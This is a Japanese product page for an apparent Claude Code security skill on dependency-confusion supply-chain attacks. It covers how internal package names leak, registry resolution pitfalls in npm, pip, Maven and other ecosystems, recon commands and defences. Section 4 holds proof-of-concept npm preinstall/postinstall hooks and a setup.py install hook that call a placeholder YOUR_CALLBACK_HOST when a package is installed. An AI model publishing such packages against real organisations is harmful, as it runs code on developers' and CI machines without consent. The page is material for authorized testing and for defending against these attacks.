dependency-confusion について
ソフトウェアサプライチェーンにおける依存関係混同のリスクを評価するセキュリティスキルです。パッケージ名の調査、各エコシステムのレジストリ解決上の問題、許可を得た PoC テスト、防御策を扱います。
主な機能
- 01内部パッケージ名の調査
- 02複数エコシステムのレジストリリスク分析
- 03公開レジストリの読み取り確認
- 04非破壊コールバック PoC の方法
- 05依存関係混同のテストツール
- 06レジストリとバージョン管理の防御
活用シーン
- 01マニフェストに含まれる非公開名の監査
- 02パッケージソースとバージョン解決の確認
- 03許可を得た CI インストールのテスト
- 04プライベートレジストリ設定の強化
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill dependency-confusionインストール後、Claude Code で/dependency-confusionを入力して読み込まれたか確認します。
詳細
スキル:依存関係の混乱 — サプライチェーン攻撃プレイブック
AI LOAD INSTRUCTION:依存関係の混乱に関する専門的な手法を解説します。プライベートパッケージ名がどのように漏洩するか、パブリックレジストリがどのようにバージョン解決で優先されるか、エコシステム固有の落とし穴(npm スコープ、pip の追加インデックス、Maven のリポジトリ順序)、偵察コマンド、非破壊的な PoC パターン(データの持ち出しではなくコールバック)、防御策を扱います。マニフェストや CI キャッシュが対象に含まれる場合は、サプライチェーン偵察ワークフローと組み合わせてください。テストが許可されているシステムやプログラムでのみ使用してください。
0. クイックスタート
最初に確認すること
- ハードプライベートレジストリへの固定がないまま、内部向けに見えるパッケージ名(短いスコープなしの名前、組織固有のトークン、製品のコードネーム)が記載されているマニフェスト。
- 同じ名前が、より高い semver のバージョンを公開するプライベートフィードと並行して、パブリックレジストリに存在する、または先取り可能である可能性を示す証拠。
install/buildがパブリックのメタデータに引き寄せられる可能性があるにもかかわらず、欠落している、古い、または CI で適用されていないロックファイル。
すばやく理解するためのモデル:リゾルバーがプライベートとパブリックの両方のインデックスを参照でき、バージョン範囲が許容する場合、攻撃者が公開したバージョンが「最新の」適合バージョンになる可能性があります。
振り分けに関する注意:タスクがサプライチェーン、リポジトリの露出、または CI ビルドの偵察に関するものであれば、まず recon-for-sec を使って内部パッケージ名と、パブリックレジストリとの名前の衝突候補を列挙してください。
1. 基本概念
- プライベートパッケージ:組織がライブラリを内部レジストリのみで公開する、または「自社のもの」と分かる命名規則を使用します。例:
@org-scope/internal-utilsのようなスコープ付きの名前や、acme-billing-sdkのようなスコープなしの名前。 - 攻撃者が名前を先取りする:同じパッケージ名をパブリックレジストリ(npmjs、PyPI、RubyGems など)に公開します。
- リゾルバーの優先順位:多くの構成では、設定されたすべてのインデックスを対象に、最も高い適合バージョンを解決する(またはメタデータを統合する)ため、バージョン範囲が許容すれば、パブリックの
9.9.9がプライベートの1.2.3より優先されることがあります。 - 実行:パッケージマネージャーはライフサイクルスクリプト(npm の
preinstall/postinstall、setuptools のエントリーポイントなど)を実行するため、攻撃者のコードが開発者のノート PC、CI、または本番イメージのビルド環境で実行されます。
これはサプライチェーンの問題であり、影響が広範囲(多数の利用者)に及ぶことが多く、ビルドフックや実行時フックが動作するまでは気づかれません。
2. 影響を受けるエコシステム
| エコシステム | 典型的なマニフェスト | 混乱が起きる要因 |
|---|---|---|
| npm | package.json | レジストリ上でスコープが所有されている場合、スコープ付きパッケージ(@scope/pkg)はより安全です。スコープなしのプライベート風の名前は高リスクです。複数のレジストリや、.npmrc の registry とスコープごとの @scope:registry= の設定ミスによって、リスクが高まります。 |
| pip | requirements.txt、pyproject.toml、setup.py | pip install -i/--extra-index-url はインデックスを統合します。パブリックインデックスが、同じディストリビューション名に対してより高いバージョンを提供する可能性があります。 |
| RubyGems | Gemfile | source の順序や追加のソースが問題になります。曖昧な名前の gem が rubygems.org から取得可能です。 |
| Maven | pom.xml | リポジトリ宣言の順序やミラー設定が問題になります。ポリシーで許可されている場合、より高いバージョンを公開するパブリックリポジトリが、同じ groupId:artifactId に対して優先されることがあります。 |
| Composer | composer.json | デフォルトはPackagistです。repositories/canonical の適切な管理がされていないプライベートパッケージは、パブリックの名前と衝突する可能性があります。 |
| Docker | FROM、イメージタグ | コンテナレジストリ(例:パブリックハブ)で、内部ベースイメージに似た名前のイメージがタイポスクワッティングされる可能性があります。 |
3. 偵察
内部名が漏洩する場所
- リポジトリやフォークにコミットされた
package.json、requirements.txt、Gemfile、pom.xml、composer.json。 - パッケージパスを参照する JavaScript ソースマップ、バンドル済みアセット、エラースタックトレース。
- インストール URL やミラーのエンドポイントが表示される
.npmrc、.pypirc、CI ログ。 - イシュートラッカー、gist のスニペット、SBOM エクスポートの依存関係グラフ。
公開レジストリでの名前の取得可否/登録可能性を確認する(読み取り専用)
# npm — metadata for a name (unscoped)
npm view some-internal-package-name version
# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json
# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
# RubyGems — query remote
gem search '^some-internal-package-name$' --remote
# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"
ルーティングに関する注意:パッケージ名の列挙後、PoC の実施は許可された環境でのみ検討してください。公開レジストリの検索自体は通常、受動的な偵察です。
4. エクスプロイト
許可を得たテストの手順
- ターゲットのリゾルバーがアクセスできる公開レジストリに、同じパッケージ名を登録します(または管理下の名前空間を使用します)。
- 正規の内部パッケージのバージョン範囲内で、対象より高い semverを公開します(例:
^1.0.0→9.9.9を公開)。 - ホストに害を与えずに実行を証明するライフサイクルフックを追加します。管理下のコラボレーターへのDNS/HTTP コールバックを推奨します。破壊的な書き込みは行わないでください。
npm package.json — 最小限のコールバック形式の PoC(例)
{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}
npm package.json — シェル+curl フォールバック(例)
{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}
pip — セットアップフックのパターン(例。許可されたラボ用パッケージでのみ使用してください)
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)
参考実装(調査/ラボ用):0xsapra/dependency-confusion-exploit に類似した、コミュニティ製 PoC の構成とワークフローです。バージョンの更新、公開、コールバックの確認を自動化しますが、書面による許可を得ている場合に限り使用してください。
5. ツール
| ツール | 役割 |
|---|---|
| visma-prodsec/confused | 公開レジストリで取得可能な可能性のある依存関係名について、マニフェストファイルをスキャンします(複数のエコシステムに対応)。 |
| synacktiv/DepFuzzer | 依存関係の混乱を自動テストするワークフローです(対象範囲内で厳守して使用してください)。 |
これらは自分のマニフェスト、または許可を得た業務に対してのみ実行してください。無関係な第三者のために名前を先取り登録する目的で使用しないでください。
6. 防御
- npm:組織が所有するスコープを使用して、スコープ付きパッケージ(
@org-scope/pkg)を優先します。非公開スコープが非公開レジストリにマッピングされるよう.npmrcを設定し、内部名に対するデフォルトのregistryが誤って公開レジストリにならないようにします。 - バージョン固定:厳密なバージョンとロックファイル(
package-lock.json、poetry.lock、Gemfile.lock、composer.lock)を使用し、CI で適用します。 - pip:不用意な
--extra-index-urlの使用は避けます。ミラーリングを備えた単一の非公開インデックス、または CI での明示的な--index-urlポリシーを優先します。 - Maven / Gradle:リポジトリの順序を管理し、内部ミラーを使用し、リリースパイプラインで予期しない groupId をブロックします。
- Composer:非公開パッケージには
canonical: trueを指定したrepositoriesを使用し、Packagist によって予期しないベンダーが追加されていないことを確認します。 - 防御目的の登録:ポリシーで許可されている場合は、公開レジストリで内部名を確保します(自社の名前を先取り登録します)。
- 監視:Socket.dev、Snyk などの SBOM/サプライチェーンスキャナーを利用し、重要なパッケージの新規公開者やバージョンの急上昇を検知します。
7. 判断ツリー
Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
│ ├─ YES → Lower risk; still verify CI and developer machines do not override config.
│ └─ NO → HIGH RISK
│ ├─ Can a public registry publish a HIGHER version inside declared ranges?
│ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
│ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
│ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)
関連するルーティング
recon-for-secから:サプライチェーンの偵察を行う際は、公開されたマニフェストと内部パッケージ識別子を、公開や PoC の手順を提案する前に、セクション 3 の確認事項とセクション 7 の判断ツリーに照らして確認してください。